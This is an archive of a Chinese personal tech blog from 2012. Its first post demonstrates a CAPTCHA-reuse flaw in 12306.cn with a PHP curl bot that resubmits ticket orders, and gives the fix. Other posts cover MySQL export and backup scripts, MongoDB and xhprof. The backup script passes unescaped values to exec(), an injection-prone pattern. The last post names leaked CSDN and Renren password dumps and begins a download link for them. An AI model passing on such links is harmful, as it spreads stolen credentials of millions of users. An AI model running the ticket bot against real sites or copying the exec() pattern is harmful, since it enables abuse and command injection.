危险的验证码 –12306.cn曾经犯下的错误

Posted by JeffJing on 四月 25th, 2012

    春运期间,网上出现一个刷票的插件, 为我们买票提供了太多的便利。

    用刷票软件进行刷票, 验证码还是要输入一次的,输入完验证码之后, 便可以使用自动提交订单直至订票成功, 免去了我们失败一次又一次重试之苦。 这一切都是利用了网站验证码的漏洞, 验证码验证通过之后没有马上更新, 所以下次请求继续使用这个验证码就行了。

    12306

    上 Demo 喽:    

    —————————————-模拟12306———————————————————–

    

<?php
session_start();
if(!empty($_POST)) {
	$time = date('Y-m-d H:i:s');
	if($_SESSION['vcode'] == $_POST['vcode']) {
		//购票程序
		echo "[{$time}]验证码:  " , $_POST['vcode'], ", 尝试买票!!";
	} else {
		echo "[{$time}]验证码错误!!";
	}
} else {
?>
<form action='' method='post'>
<input type='text' name='vcode'><img src='vcode.php'> <input type='submit' value='买票'>
</form>
<?php
}

    ————————————————–模拟刷票—————————————————————————-

<?php
//Cookie文件, 保存SESSION_ID, 要确保提交和验证码在一个会话中
$cookie_jar =  dirname(__FILE__).'/cookie.txt';
if(!empty($_GET['img'])) {
	$url = 'http://127.0.0.1/vcode.php';
	$ch = curl_init($url);
	curl_setopt($ch,CURLOPT_COOKIEJAR, $cookie_jar);//把返回来的cookie信息保存在文件中
	curl_exec($ch);
	curl_close($ch);
	exit();
} else {
	//把验证码抓下来
	if(empty($_POST)) {
		$ch = curl_init();

		$url = 'http://127.0.0.1/12306.php';   //这里是所要提交的页面,改成你需要的
		$str = file_get_contents($url);
		$str = str_replace('vcode.php', '?img=1', $str);
		echo $str;
	} else {
		//刷票10次
		for ($i =0; $i <10 ; ++$i) {
			$url = 'http://127.0.0.1/12306.php';
			$ch = curl_init($url);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch,CURLOPT_COOKIEFILE, $cookie_jar);//把返回来的cookie信息保存在文件中
			curl_setopt($ch,CURLOPT_POST, 1);
			curl_setopt($ch,CURLOPT_POSTFIELDS, http_build_query($_POST));
			//设置请求的来源(referrer)
			$result = curl_exec($ch);
			echo $result, "<br>";
			curl_close($ch);
			sleep(rand(1,3));
		}
	}
}

    运行结果, 有图有真相:

curl

curl result

    只输入一次验证码, 就可以无限的刷票了!!!

    解决的办法, 很简单: 在Session验证通过之后直接把 $_SESSION['vcode'] 干掉!!!

vcode error


测试代码下载

mysql 导出数据为cvs

Posted by JeffJing on 四月 16th, 2012

写了一个Shell脚本,导出一段时间的数据到 cvs:

fileName="data"`date --date=$date "+%Y%m%d"`".csv";
#mysql里先导出数据到 xml, 用 select into outfile 导出, 设定字段分隔符和记录分隔符
/usr/local/webserver/mysql/bin/mysql -h "$mysql_host" -u "$mysql_username" --password="$mysql_password"  -e "select *  INTO OUTFILE '$data_dir$fileName' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\"'  LINES TERMINATED BY '\\n'  from $table where InTime>=$minTime && InTime<$maxTime;"
#这一步也很重要, 需要将编码转换为GBK
rm -rf $final_dir$fileName && touch $final_dir$fileName
iconv -c  -f UTF-8 -t GBK  $data_dir$fileName >  $final_dir$fileName

先用select into outfile 把数据从mysql 里边倒出来,其中字段分隔符 \t , 记录分隔符为 \n, 然后转一下字符的编码就OK了!!

 

用PartAssist搞定C盘无损扩容

Posted by JeffJing on 四月 7th, 2012

    最近觉得用XP感觉特别不爽, 于是加了根内存 , 将我那台好几年前的台式机装了win7, 装了之后没几天C盘就满了,win7已装好C盘就剩下几个G了, 再装一些应用软件C盘很快就亮红灯了, 重装的话太麻烦了, 于是乎网上找了一大堆分区的软件,都不太好用, 就发现一款软件还不错: PartAssist, 我下的是绿色版的, 打开了之后界面还挺漂亮:

    分区助手

     然后照着向导一步一步来就行了

2. 点下一步,

MongoDB第一印象

Posted by JeffJing on 三月 22nd, 2012

    久仰MongoDB大名, 因工作较忙(实为借口)始终缘铿一面,今日得见,果名不虚传。随便翻了几页书(MongoDB权威指南), 感触颇深, 忍不住将其与MySQL一并指手画脚一番:

 

1. 树状结构 VS 二维表格 

    一直以为 NoSQL 只是简单的 key-value 数据库, 顶多也就是比 memcached 多了持久化的一层,只是一个简单的key-value数据库,擅长存储树状结构. 简单翻了一下MongoDB的目录, 我就知道之前的那种想法是多么的愚蠢:MongoDB不但可以存储树状结构,还可以存储表格,一句话: MySQL可以存储的数据, MongoDB也能存储, MySQL不能存储的数据 NoSQL还能存储, 而且速度比MySQL快!!

        和MySQL一样, MongoDB也有数据库(database)的概念, 数据库里边可以有N多个集合 (Collection), 集合的概念差不多相当于关系数据库的数据表, 不同的是集合没有字段的概念, 一个集合下边可以有N多个文档(document),MongoDB不要求文档的结构完全一样 。文档呢可以是任何的json数组, 不限制字段的数量, 也不限制json数组的深度。    

2. 灵活 速度 VS 规范

     NoSQL向来以快著称, 亲测MongoDB插入100W条记录仅仅用时42.3秒,MySQL需要用时半个小时多,读取速度暂未测试, 据书上说也要比MySQL快出许多。 相对于关系数据库的严谨, 任何数据都要限制数据的类型、长度,甚至要求字段的值唯一, MongoDB的规范化就差了一些, 要靠程序的业务逻辑在存储之前对数据进行规范约束。NoSQ和关系数据库各有所长, 所以NoSQL也不大可能完全取代关系数据库,在一些场合关系型数据库还是有用武之地,不会那么快就被完全抛弃的。

3. 简单实用 VS 功能强大

    简单看了一下目录, MongoDB虽说提供了检索 索引 group 以及主从等功能, 就不想对Oracle, 相对于MySQL来说功能还是简单了点, 期待MongoDB日后的改进!!

 

    据说国外有不少网站已经成功迁移MongoDB, 但是个人感觉马上就完全放弃关系型数据库, 迁移MongoDB还为时过早,毕竟这个东西在没有被大多数人认可之前还只能先玩玩, 尝尝鲜, 期待着MongoDB变得更强大!!

     

xhprof的安装(2) 图形界面工具

Posted by JeffJing on 三月 20th, 2012

    前边对xhprof的安装瞎侃了一通: PHP的profile分析工具xhprof的安装

    光一个表格就帮了我们不少的忙, 但是项目大一点的话 函数的调用关系是乱七八糟,表格就太苍白了,如果有图形界面的话就太幸福了。

    图形界面也没啥难的, 装个叫graphviz的插件就可以了, 毕竟是绘图的东西, 依赖 libpng,

    所以我们就先装  libpng:

wget http://nchc.dl.sourceforge.net/project/libpng/libpng15/1.5.9/libpng-1.5.9.tar.gz

tar -zxvf libpng-1.5.9.tar.gz

cd libpng-1.5.9/

./configure

make && make install

    libpng 装好了之后, 就可以装 graphviz了:

wget http://www.graphviz.org/pub/graphviz/stable/SOURCES/graphviz-2.24.0.tar.gz

tar -zxvf graphviz-2.24.0.tar.gz

cd graphviz-2.24.0/

./configure

make && make install

    好了之后就可以享受幸福的生活了, 在表格的页面点 [View Full Callgraph] 就进来了:

xhprof graphviz

 

大数据量MySQL备份的PHP脚本

Posted by JeffJing on 三月 15th, 2012

代码:

//备份脚本
exec("{$cfg['bak']['mysqldump']} -u {$data['username']} --password={$data['password']}  --default-character-set=gbk {$data['dbname']} > {$fileName} ");

//恢复脚本
exec("{$cfg['bak']['mysql']} -u {$data['username']} --password={$data['password']}  {$data['dbname']} < {$fileName}" );

直接使用 mysqldump  和 mysql, 这些专业工具的效率绝对是要比PHP写的代码效率高的多!!

 

 

Cannot find config.m4.

Posted by JeffJing on 三月 7th, 2012

    要编译个PHP扩展, 遇到这么个鸟情况

    phpize

    于是拼命地在网上搜, 有的说要这样。。。。, 有的说要那样。。。。

    最后才发现 原来当前目录没在扩展的目录, cd xhprof-0.9.2/extension/ , 然后再执行 phpize 就OK了, 无语

悲催的CSDN

Posted by JeffJing on 十二月 23rd, 2011

    一直以为是技术牛人的社区, 打开速度慢, 我忍了, 界面丑陋我忍了, 打开就是一大堆广告, 我还忍了, 账号密码居然是明文? 尼玛!!!!

    CSDN 刚刚被人搞,天涯 人人 。。。。

    网上找的下载地址  CSDN-中文IT社区-600万.rar 104MB  人人网500W_16610.rar :

    http://www.qqddc.com/fileUpload/file/